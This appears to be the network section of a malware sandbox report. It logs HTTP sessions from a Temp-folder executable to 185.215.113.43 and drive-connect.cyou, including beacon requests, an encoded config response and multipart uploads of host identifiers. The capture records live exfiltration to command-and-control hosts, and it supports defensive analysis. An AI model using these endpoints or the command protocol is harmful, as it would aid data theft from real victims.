Dec 9, 2024 21:10:06.499126911 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 9, 2024 21:10:07.847287893 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:10:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	50052	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 9, 2024 21:10:09.488893986 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 9, 2024 21:10:10.867553949 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 09 Dec 2024 20:10:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49867	172.67.139.78	443	5564	C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:13 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: drive-connect.cyou
2024-12-09 20:09:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-09 20:09:14 UTC	1023	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lit03sgenr1jj60fem9thdg17l; expires=Fri, 04-Apr-2025 13:55:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GF49oSs7uFAQ53l6iXYaD8r43mdtiss%2FTSRb4XJGa%2F9Jw2u%2FVVt%2Bn8E8%2FuoETrLDhLzeFf%2FpJ0PCZyJ5Dh2Xm2vADJIhZTWBjRuIKe8IOo4p5lelkYPBOkPqTGclTrbfyjU%2Fu1Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a1b50cec42b1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1961&min_rtt=1885&rtt_var=761&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1549071&cwnd=207&unsent_bytes=0&cid=b4ddb59ff1437ccd&ts=722&x=0"
2024-12-09 20:09:14 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-09 20:09:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49873	172.67.139.78	443	5564	C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:15 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: drive-connect.cyou
2024-12-09 20:09:15 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--test&j=
2024-12-09 20:09:16 UTC	1011	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7mtbpo2nlhc4spnre79ab6ds6g; expires=Fri, 04-Apr-2025 13:55:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a5AZAqRfktbGXqG9oLmXJzwoaFK981rjuT2p0ja2RoJikyAsUFn4576UlzCW4LB9cbiYmhuUzKkpeGpVPl93iuqqa1q3ppWq%2B8yzdF9vt5fH5lWo7jLD4oIfzZ5Ty7CXbjwJMu0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a1c17c9a0fab-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1657&min_rtt=1652&rtt_var=629&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=948&delivery_rate=1724748&cwnd=188&unsent_bytes=0&cid=6bc85607455b0296&ts=748&x=0"
2024-12-09 20:09:16 UTC	358	IN	Data Raw: 34 39 31 63 0d 0a 72 39 47 49 53 4b 6d 69 4c 62 68 62 68 34 51 2b 52 6c 31 47 6c 54 59 42 66 72 69 76 7a 58 6b 45 67 30 49 62 6a 64 70 71 41 70 72 55 38 2f 35 71 6b 35 59 42 6d 69 6a 69 70 67 51 79 4c 7a 50 77 47 69 4d 66 33 49 33 33 48 32 58 76 4d 58 36 68 2b 42 78 76 75 4a 57 33 36 53 54 61 78 77 47 61 50 76 2b 6d 42 42 30 6d 5a 50 42 59 49 30 53 61 79 71 63 62 5a 65 38 67 65 75 61 31 47 6d 37 35 78 37 33 76 49 4d 7a 42 53 64 6b 33 36 75 46 62 49 7a 77 73 2b 31 39 73 46 74 57 4e 34 56 74 68 2b 57 41 68 72 35 63 50 64 76 76 69 73 50 73 6a 69 39 38 42 77 33 6e 69 36 68 78 38 66 79 66 77 56 47 30 59 33 4d 53 6c 45 57 7a 6e 49 58 2f 6e 71 67 4e 6b 38 73 65 7a 37 43 48 47 79 46 33 55 50 65 33 71 58 53 6b 38 5a 4c 6b 55 5a 41 53 61 6c 65 39 49 56 4f 49 78 61 Data Ascii: 491cr9GISKmiLbhbh4Q+Rl1GlTYBfrivzXkEg0IbjdpqAprU8/5qk5YBmijipgQyLzPwGiMf3I33H2XvMX6h+BxvuJW36STaxwGaPv+mBB0mZPBYI0SayqcbZe8geua1Gm75x73vIMzBSdk36uFbIzws+19sFtWN4Vth+WAhr5cPdvvisPsji98Bw3ni6hx8fyfwVG0Y3MSlEWznIX/nqgNk8sez7CHGyF3UPe3qXSk8ZLkUZASale9IVOIxa
2024-12-09 20:09:16 UTC	1369	IN	Data Raw: 4d 65 37 74 57 54 59 30 4c 66 70 5a 59 78 48 51 77 71 77 62 59 65 73 71 64 75 57 38 42 57 33 2b 7a 62 4f 71 5a 49 76 48 56 35 70 68 70 63 56 5a 4e 44 67 6f 34 52 5a 5a 58 4d 57 44 74 6c 74 68 37 57 41 68 72 37 41 4e 59 2f 76 47 76 4f 6b 69 77 4e 4a 50 79 44 2f 6f 34 30 34 69 4f 69 72 39 56 33 45 57 31 4d 75 73 45 6d 33 6f 4a 58 37 72 2b 45 59 67 2f 39 58 7a 73 6d 72 71 7a 55 54 57 4d 2f 4c 6d 48 44 74 78 50 62 64 54 62 31 79 43 6a 61 73 61 59 75 41 6b 64 2b 47 38 42 47 62 32 77 4c 7a 73 49 4d 76 48 52 64 49 78 35 4f 74 58 4b 7a 38 68 2b 6c 42 6c 45 4e 76 49 37 31 55 6d 35 6a 67 35 74 2f 67 6d 5a 2f 76 66 38 64 38 70 78 63 35 49 7a 48 6e 36 71 45 56 6b 4f 43 69 33 44 43 4d 53 33 38 4b 39 47 6e 54 6b 4c 6d 76 6a 76 51 35 74 2b 38 4f 7a 37 79 33 47 7a 6b 6e Data Ascii: Me7tWTY0LfpZYxHQwqwbYesqduW8BW3+zbOqZIvHV5phpcVZNDgo4RZZXMWDtlth7WAhr7ANY/vGvOkiwNJPyD/o404iOir9V3EW1MusEm3oJX7r+EYg/9XzsmrqzUTWM/LmHDtxPbdTb1yCjasaYuAkd+G8BGb2wLzsIMvHRdIx5OtXKz8h+lBlENvI71Um5jg5t/gmZ/vf8d8pxc5IzHn6qEVkOCi3DCMS38K9GnTkLmvjvQ5t+8Oz7y3Gzkn
2024-12-09 20:09:16 UTC	1369	IN	Data Raw: 45 56 6b 4f 43 69 33 44 43 4d 52 30 73 69 71 46 47 66 72 4c 6e 7a 6c 74 41 42 75 2b 39 2b 38 37 69 72 48 79 45 58 58 4e 2b 48 75 56 53 38 30 49 76 64 56 61 56 79 55 6a 61 67 44 4a 72 6c 67 54 65 69 30 42 57 2b 36 2b 4c 44 6b 4a 4d 7a 57 44 38 56 33 2f 4b 5a 62 4b 48 39 38 74 31 68 71 48 4e 48 48 71 78 74 68 37 43 56 36 36 4c 73 46 5a 2f 4c 44 74 4f 34 6d 77 73 31 4a 32 6a 37 68 34 30 34 68 4e 69 6a 37 46 43 31 63 33 64 58 76 51 79 62 4f 4a 32 2f 73 6c 77 74 78 38 59 32 73 70 44 4f 4c 78 30 4f 61 59 61 58 68 57 53 77 30 49 76 39 55 63 52 6e 55 78 71 34 52 59 4f 41 74 64 65 6d 34 43 57 44 2b 77 62 50 74 4c 64 6e 53 53 74 77 72 37 36 59 53 5a 44 67 38 74 77 77 6a 4b 73 72 61 76 67 30 6b 31 43 4e 33 34 62 38 65 49 4f 65 44 71 71 6f 74 78 34 41 58 6d 6a 4c 6c Data Ascii: EVkOCi3DCMR0siqFGfrLnzltABu+9+87irHyEXXN+HuVS80IvdVaVyUjagDJrlgTei0BW+6+LDkJMzWD8V3/KZbKH98t1hqHNHHqxth7CV66LsFZ/LDtO4mws1J2j7h404hNij7FC1c3dXvQybOJ2/slwtx8Y2spDOLx0OaYaXhWSw0Iv9UcRnUxq4RYOAtdem4CWD+wbPtLdnSStwr76YSZDg8twwjKsravg0k1CN34b8eIOeDqqotx4AXmjLl
2024-12-09 20:09:16 UTC	1369	IN	Data Raw: 51 32 39 31 6c 6e 45 4e 37 46 70 42 45 6d 72 32 42 2b 39 2f 68 51 49 4d 33 41 76 4f 6f 70 33 59 42 51 6c 43 43 6c 34 56 42 6b 5a 32 54 37 57 6d 4d 54 31 73 47 6b 45 32 66 74 4c 6e 37 71 73 51 42 6f 36 73 79 33 34 69 76 46 7a 30 37 65 50 4f 44 69 57 79 41 35 4b 37 63 61 49 78 76 43 6a 66 64 62 53 63 59 56 4f 38 36 43 53 48 2b 32 31 50 50 74 4a 6f 75 59 44 39 59 36 36 65 35 54 49 6a 59 6f 2f 56 31 6f 45 4e 48 4a 6f 78 4a 6a 35 79 46 38 36 72 6b 4d 62 50 4c 4c 73 4f 6b 6c 78 4d 39 48 6d 6e 65 6c 34 55 52 6b 5a 32 54 53 51 32 67 53 33 49 32 77 56 58 2b 68 4a 33 57 76 34 45 68 73 38 63 75 31 37 79 62 4b 78 6b 66 66 4d 65 48 6e 57 69 49 38 4b 2f 4e 52 59 68 50 65 77 61 45 52 5a 2b 41 73 63 75 43 7a 44 53 43 32 6a 62 54 79 61 70 4f 41 66 74 6b 76 38 76 5a 51 5a Data Ascii: Q291lnEN7FpBEmr2B+9/hQIM3AvOop3YBQlCCl4VBkZ2T7WmMT1sGkE2ftLn7qsQBo6sy34ivFz07ePODiWyA5K7caIxvCjfdbScYVO86CSH+21PPtJouYD9Y66e5TIjYo/V1oENHJoxJj5yF86rkMbPLLsOklxM9Hmnel4URkZ2TSQ2gS3I2wVX+hJ3Wv4Ehs8cu17ybKxkffMeHnWiI8K/NRYhPewaERZ+AscuCzDSC2jbTyapOAftkv8vZQZ
2024-12-09 20:09:16 UTC	1369	IN	Data Raw: 55 5a 41 53 61 6c 65 38 31 62 66 49 33 65 75 47 7a 48 6e 75 34 30 76 33 7a 61 73 7a 4d 44 34 4a 35 35 75 31 58 49 44 38 6f 39 31 42 75 48 4d 6a 43 71 42 78 76 36 6a 4a 7a 36 4c 38 44 61 50 50 43 74 66 67 6d 78 64 4a 4b 79 43 75 6c 71 42 77 6a 4a 32 53 76 46 46 55 62 79 74 32 73 57 56 66 33 49 32 2f 6b 74 51 51 67 35 34 4f 71 71 69 33 48 67 42 65 61 50 2b 72 76 58 79 73 2b 4c 66 74 5a 5a 68 58 66 7a 4b 6b 66 62 4f 73 67 66 2b 6d 35 44 57 72 37 7a 4c 6e 6a 4c 63 50 48 54 4d 68 35 71 36 5a 62 50 48 39 38 74 33 31 6b 44 74 54 64 37 77 51 6f 2b 47 42 2b 34 2f 68 51 49 50 7a 48 76 4f 34 74 78 38 5a 4b 33 44 54 6b 36 56 30 6b 4d 43 44 38 58 57 55 64 31 38 69 69 48 33 54 72 4b 33 62 6a 73 51 52 74 75 49 50 7a 37 54 4b 4c 6d 41 2f 72 4e 4f 76 6f 57 7a 4a 2f 4f 37 Data Ascii: UZASale81bfI3euGzHnu40v3zaszMD4J55u1XID8o91BuHMjCqBxv6jJz6L8DaPPCtfgmxdJKyCulqBwjJ2SvFFUbyt2sWVf3I2/ktQQg54Oqqi3HgBeaP+rvXys+LftZZhXfzKkfbOsgf+m5DWr7zLnjLcPHTMh5q6ZbPH98t31kDtTd7wQo+GB+4/hQIPzHvO4tx8ZK3DTk6V0kMCD8XWUd18iiH3TrK3bjsQRtuIPz7TKLmA/rNOvoWzJ/O7
2024-12-09 20:09:16 UTC	1369	IN	Data Raw: 31 38 36 70 48 57 33 74 4d 6e 44 76 75 77 4d 67 74 6f 32 30 38 6d 71 54 67 47 7a 4e 4c 2b 2f 68 55 44 49 30 4a 66 52 43 62 67 79 61 67 2b 38 4b 59 66 42 67 49 66 6d 6f 48 32 66 6e 67 36 71 71 4c 63 65 41 46 35 6f 2f 37 4f 42 62 49 6a 45 32 38 6c 4a 73 45 39 50 45 71 78 4e 6c 34 53 52 39 36 4c 30 4c 62 50 50 4b 73 4f 55 75 77 73 35 47 31 58 6d 72 70 6c 73 38 66 33 79 33 64 58 67 66 31 73 44 76 42 43 6a 34 59 48 37 6a 2b 46 41 67 39 4d 4f 32 36 69 44 4e 78 45 72 63 4d 2b 44 6d 56 79 63 77 49 50 46 51 62 42 7a 52 78 4b 34 64 59 2b 73 72 66 2b 4b 37 44 6d 61 34 67 2f 50 74 4d 6f 75 59 44 2f 6f 69 36 4f 70 62 5a 43 42 71 37 68 52 6b 45 4a 71 56 37 78 42 71 35 53 64 35 34 72 73 41 5a 66 7a 48 74 75 6f 69 32 63 68 50 33 53 76 33 35 6c 55 68 4d 79 66 33 55 47 55 Data Ascii: 186pHW3tMnDvuwMgto208mqTgGzNL+/hUDI0JfRCbgyag+8KYfBgIfmoH2fng6qqLceAF5o/7OBbIjE28lJsE9PEqxNl4SR96L0LbPPKsOUuws5G1Xmrpls8f3y3dXgf1sDvBCj4YH7j+FAg9MO26iDNxErcM+DmVycwIPFQbBzRxK4dY+srf+K7Dma4g/PtMouYD/oi6OpbZCBq7hRkEJqV7xBq5Sd54rsAZfzHtuoi2chP3Sv35lUhMyf3UGU
2024-12-09 20:09:16 UTC	1369	IN	Data Raw: 42 52 33 33 32 41 68 39 6f 5a 49 61 2b 37 4b 6f 2b 6b 38 77 4d 31 44 79 77 65 6c 76 67 68 32 62 58 61 6c 42 6e 78 63 78 66 4c 68 57 32 65 68 65 45 44 32 2b 42 34 67 6f 4a 2f 39 71 6a 69 4c 6d 41 2b 64 4f 76 66 30 57 69 63 70 4a 37 42 71 58 54 76 4d 78 36 67 4c 59 66 59 76 4f 61 48 34 42 79 43 67 39 50 50 6a 4c 64 44 52 57 64 63 70 34 71 5a 6a 61 6e 38 38 74 77 77 6a 4b 64 6e 44 6f 52 78 77 38 47 31 65 2b 62 49 50 63 50 2f 61 76 4b 70 6b 69 38 59 50 67 6d 71 72 70 6c 67 31 66 33 79 6e 42 6a 68 4a 69 5a 72 2f 53 58 6d 76 4f 54 6e 35 2b 46 41 79 74 6f 32 68 71 6e 4b 4c 68 30 7a 49 4b 2b 50 6c 53 69 64 34 47 73 6c 7a 65 52 48 63 32 72 34 6c 57 4f 59 36 64 4f 6d 76 47 53 7a 74 7a 72 33 6b 4c 64 32 41 41 5a 6f 32 70 62 35 6c 5a 48 64 6b 79 42 6f 6a 42 4a 71 56 Data Ascii: BR332Ah9oZIa+7Ko+k8wM1Dywelvgh2bXalBnxcxfLhW2eheED2+B4goJ/9qjiLmA+dOvf0WicpJ7BqXTvMx6gLYfYvOaH4ByCg9PPjLdDRWdcp4qZjan88twwjKdnDoRxw8G1e+bIPcP/avKpki8YPgmqrplg1f3ynBjhJiZr/SXmvOTn5+FAyto2hqnKLh0zIK+PlSid4GslzeRHc2r4lWOY6dOmvGSztzr3kLd2AAZo2pb5lZHdkyBojBJqV
2024-12-09 20:09:16 UTC	1369	IN	Data Raw: 46 79 5a 71 47 68 53 48 61 34 6c 65 47 6b 61 74 6d 41 46 35 70 2b 35 76 52 4f 49 6a 77 79 39 42 4e 64 49 76 33 44 71 42 70 77 38 54 64 32 30 59 59 64 59 2f 62 44 74 50 77 37 69 34 34 50 31 58 6d 39 33 78 78 73 66 78 75 35 46 48 74 63 67 6f 32 61 47 47 6a 76 4a 32 2f 2b 39 53 39 75 2f 38 79 6c 2b 6a 33 45 67 41 47 61 50 36 57 2b 44 6d 70 2f 49 4f 59 55 4f 30 79 49 6c 76 70 49 4d 62 46 79 5a 71 47 68 53 48 61 34 6c 65 47 6b 61 74 6d 41 46 35 70 2b 35 76 52 4f 49 6a 77 79 39 42 4e 64 49 76 33 44 71 42 70 77 38 54 64 32 6f 4a 59 2b 51 63 62 7a 70 75 6b 6b 78 63 64 5a 79 33 6d 72 70 6c 4e 6b 5a 78 32 33 48 43 4d 6a 6c 49 32 33 57 7a 36 68 46 58 72 68 74 67 39 32 36 59 43 55 35 43 33 4b 31 6c 2f 4e 4e 71 72 49 61 67 56 2f 61 72 64 53 49 30 53 49 67 2b 38 66 64 Data Ascii: FyZqGhSHa4leGkatmAF5p+5vROIjwy9BNdIv3DqBpw8Td20YYdY/bDtPw7i44P1Xm93xxsfxu5FHtcgo2aGGjvJ2/+9S9u/8yl+j3EgAGaP6W+Dmp/IOYUO0yIlvpIMbFyZqGhSHa4leGkatmAF5p+5vROIjwy9BNdIv3DqBpw8Td2oJY+QcbzpukkxcdZy3mrplNkZx23HCMjlI23Wz6hFXrhtg926YCU5C3K1l/NNqrIagV/ardSI0SIg+8fd
2024-12-09 20:09:16 UTC	1369	IN	Data Raw: 73 2b 6a 6c 32 2b 38 32 39 37 57 71 46 67 46 65 61 59 61 58 4c 54 69 4d 76 4a 37 63 61 49 78 43 61 6c 65 38 57 64 4f 59 77 65 71 4f 2f 45 6d 65 34 30 76 33 7a 61 74 32 41 46 34 6c 33 70 66 51 63 66 48 39 6a 2b 56 6c 69 48 39 54 4f 76 51 6c 67 34 6a 5a 36 71 49 59 32 54 65 72 4b 6f 2b 6c 6f 2b 73 31 4c 7a 43 7a 6d 39 6c 73 61 41 51 6e 6c 55 33 4d 66 6d 4f 47 6f 46 6d 72 66 48 6b 37 2b 76 78 67 69 33 73 36 6c 36 57 71 46 67 46 65 61 59 61 58 4c 54 69 4d 76 4a 37 56 34 5a 42 48 57 6a 62 42 56 66 36 45 32 4f 62 66 72 52 69 44 71 6a 65 75 71 62 63 6a 53 58 64 77 36 38 2b 55 62 47 67 45 4a 35 56 4e 7a 48 35 6a 38 6f 68 39 77 39 43 4e 70 36 49 59 32 54 65 72 4b 6f 2b 6c 6f 37 76 6f 4e 36 79 2f 6d 35 6c 49 6a 66 32 71 33 54 43 4e 45 6d 75 43 39 48 48 62 69 59 6c Data Ascii: s+jl2+8297WqFgFeaYaXLTiMvJ7caIxCale8WdOYweqO/Eme40v3zat2AF4l3pfQcfH9j+VliH9TOvQlg4jZ6qIY2TerKo+lo+s1LzCzm9lsaAQnlU3MfmOGoFmrfHk7+vxgi3s6l6WqFgFeaYaXLTiMvJ7V4ZBHWjbBVf6E2ObfrRiDqjeuqbcjSXdw68+UbGgEJ5VNzH5j8oh9w9CNp6IY2TerKo+lo7voN6y/m5lIjf2q3TCNEmuC9HHbiYl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49879	172.67.139.78	443	5564	C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:17 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=C3379N2N0NFHUMX0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12846 Host: drive-connect.cyou
2024-12-09 20:09:17 UTC	12846	OUT	Data Raw: 2d 2d 43 33 33 37 39 4e 32 4e 30 4e 46 48 55 4d 58 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 38 34 46 43 37 32 36 34 31 31 33 34 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 43 33 33 37 39 4e 32 4e 30 4e 46 48 55 4d 58 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 33 33 37 39 4e 32 4e 30 4e 46 48 55 4d 58 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 43 33 33 Data Ascii: --C3379N2N0NFHUMX0Content-Disposition: form-data; name="hwid"3384FC726411342223D904AF30EFEBBC--C3379N2N0NFHUMX0Content-Disposition: form-data; name="pid"2--C3379N2N0NFHUMX0Content-Disposition: form-data; name="lid"FATE99--test--C33
2024-12-09 20:09:18 UTC	1018	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=elie5t8kqm0oibhvfb3r4srhll; expires=Fri, 04-Apr-2025 13:55:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rdxrI14wOR3GuKOMTVAxvbiIWDh4k3qkFk28xHQAgF9lgpuyLVPJec8pJfG5d4su%2BPLEmDPRf%2FBT1Uq3e0Z3cP3CgT%2FAbDt0R0NfWfoo3fN1jol1G3wQEvlahBKS70O5Wa4yt98%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a1cfd8c718c8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1709&min_rtt=1707&rtt_var=645&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13786&delivery_rate=1689814&cwnd=148&unsent_bytes=0&cid=3ab094c9ba816182&ts=930&x=0"
2024-12-09 20:09:18 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 20:09:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49884	172.67.139.78	443	5564	C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 20:09:20 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OA3UZLBRYNT4BHI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15086 Host: drive-connect.cyou
2024-12-09 20:09:20 UTC	15086	OUT	Data Raw: 2d 2d 4f 41 33 55 5a 4c 42 52 59 4e 54 34 42 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 38 34 46 43 37 32 36 34 31 31 33 34 32 32 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4f 41 33 55 5a 4c 42 52 59 4e 54 34 42 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 41 33 55 5a 4c 42 52 59 4e 54 34 42 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 4f 41 33 55 5a 4c Data Ascii: --OA3UZLBRYNT4BHIContent-Disposition: form-data; name="hwid"3384FC726411342223D904AF30EFEBBC--OA3UZLBRYNT4BHIContent-Disposition: form-data; name="pid"2--OA3UZLBRYNT4BHIContent-Disposition: form-data; name="lid"FATE99--test--OA3UZL
2024-12-09 20:09:21 UTC	1018	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 20:09:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5va2ru2ch3akd6ari4h74sk02i; expires=Fri, 04-Apr-2025 13:55:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=35UAUrI1JaxADVzBER2Px4We8zu93oZNvSSvDsE5ixswRFvVbIqmQLHVUIS6%2BttxYxns5gzhYIRKpgRYQy2lB5vOkFC9dW6XoxZbN27aWxRSmjIAWW3d4lQV84b%2F8yFeyDPSJw8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef7a1de694f7c7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2280&min_rtt=1818&rtt_var=1606&sent=12&recv=19&lost=0&retrans=0&sent_bytes=2847&recv_bytes=16025&delivery_rate=529177&cwnd=228&unsent_bytes=0&cid=a61eed946666a23e&ts=1042&x=0"
2024-12-09 20:09:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 20:09:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49891	172.67.139.78	443	5564	C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe

Timestamp	Bytes transferred	Direction	Data
